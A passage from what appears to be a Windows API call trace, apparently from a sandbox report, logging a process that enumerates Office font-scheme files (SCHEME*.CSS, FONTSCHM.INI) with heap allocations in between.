hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128df600, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x128df600, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1ee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME24.CSS", cAlternateFileName="")) returned 1 [0077.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafea0 [0077.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a6780 [0077.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.989] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115cc900, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x115cc900, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fcee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME25.CSS", cAlternateFileName="")) returned 1 [0077.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x115cc900, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc17950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x115cc900, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1d1b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME26.CSS", cAlternateFileName="")) returned 1 [0077.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa6f00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefa6f00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME27.CSS", cAlternateFileName="")) returned 1 [0077.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefa6f00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefa6f00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1d754, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME28.CSS", cAlternateFileName="")) returned 1 [0077.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb66e800, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb66e800, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME29.CSS", cAlternateFileName="")) returned 1 [0077.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa35bb00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa35bb00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1d522, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME30.CSS", cAlternateFileName="")) returned 1 [0077.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff7b2600, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff7b2600, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1d652, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME31.CSS", cAlternateFileName="")) returned 1 [0077.990] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fda00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43fda00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1eb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME32.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8755100, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8755100, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1dcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME33.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eebe900, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9eebe900, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1d124, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME34.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce4c100, ftCreationTime.dwHighDateTime=0x1c69a52, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ce4c100, ftLastWriteTime.dwHighDateTime=0x1c69a52, nFileSizeHigh=0x0, nFileSizeLow=0x202f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME35.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94315400, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94315400, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME36.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad35f00, ftCreationTime.dwHighDateTime=0x1c69a52, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad35f00, ftLastWriteTime.dwHighDateTime=0x1c69a52, nFileSizeHigh=0x0, nFileSizeLow=0x205bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME37.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8380de00, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8380de00, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1f07c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME38.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7532c200, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7532c200, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME39.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cda8700, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc3dab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cda8700, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME40.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x621ff200, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x621ff200, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME41.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56343000, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56343000, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1d920, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME42.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47e61400, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47e61400, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e714, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME43.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37359e00, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37359e00, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1ecfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME44.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7b0900, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7b0900, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME45.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cfbc000, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cfbc000, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1fdb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME46.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a38500, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a38500, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME47.CSS", cAlternateFileName="")) returned 1 [0077.991] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7869600, ftCreationTime.dwHighDateTime=0x1ca1578, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7869600, ftLastWriteTime.dwHighDateTime=0x1ca1578, nFileSizeHigh=0x0, nFileSizeLow=0x1f984, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME48.CSS", cAlternateFileName="")) returned 1 [0077.992] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa69a700, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa69a700, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1da6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME49.CSS", cAlternateFileName="")) returned 1 [0077.992] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e03f00, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0e03f00, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1f018, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME50.CSS", cAlternateFileName="")) returned 1 [0077.992] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1922be00, ftCreationTime.dwHighDateTime=0x1c69a7b, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1922be00, ftLastWriteTime.dwHighDateTime=0x1c69a7b, nFileSizeHigh=0x0, nFileSizeLow=0x1df68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME51.CSS", cAlternateFileName="")) returned 1 [0077.992] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ce8a00, ftCreationTime.dwHighDateTime=0x1c69651, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1ce8a00, ftLastWriteTime.dwHighDateTime=0x1c69651, nFileSizeHigh=0x0, nFileSizeLow=0x1e254, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME52.CSS", cAlternateFileName="")) returned 1 [0077.992] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d95100, ftCreationTime.dwHighDateTime=0x1c69a53, ftLastAccessTime.dwLowDateTime=0x1bc63c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74d95100, ftLastWriteTime.dwHighDateTime=0x1c69a53, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME53.CSS", cAlternateFileName="")) returned 1 [0077.992] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c1eb00, ftCreationTime.dwHighDateTime=0x1c69597, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67c1eb00, ftLastWriteTime.dwHighDateTime=0x1c69597, nFileSizeHigh=0x0, nFileSizeLow=0x1f064, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME54.CSS", cAlternateFileName="")) returned 1 [0077.992] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2a2e00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f2a2e00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e114, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME55.CSS", cAlternateFileName="")) returned 1 [0077.992] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2a2e00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f2a2e00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1e114, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME55.CSS", cAlternateFileName="")) returned 0 [0077.992] GetLastError () returned 0x12 [0077.992] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0077.992] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0077.992] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.992] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c22e700, ftCreationTime.dwHighDateTime=0x1ca6669, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c22e700, ftLastWriteTime.dwHighDateTime=0x1ca6669, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FONTSCHM.INI", cAlternateFileName="")) returned 1 [0077.992] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47994900, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47994900, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1eea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME01.CSS", cAlternateFileName="")) returned 1 [0077.992] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b96a700, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b96a700, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fbbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME02.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a657a00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a657a00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f024, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME03.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29344d00, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29344d00, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME04.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28032000, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28032000, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1edba, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME05.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28032000, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28032000, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME06.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d1f300, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26d1f300, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1ff56, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME07.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a0c600, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a0c600, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1f998, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME08.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25a0c600, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25a0c600, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x20444, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME09.CSS", cAlternateFileName="")) returned 1 [0077.993] FindNextFileW (in: 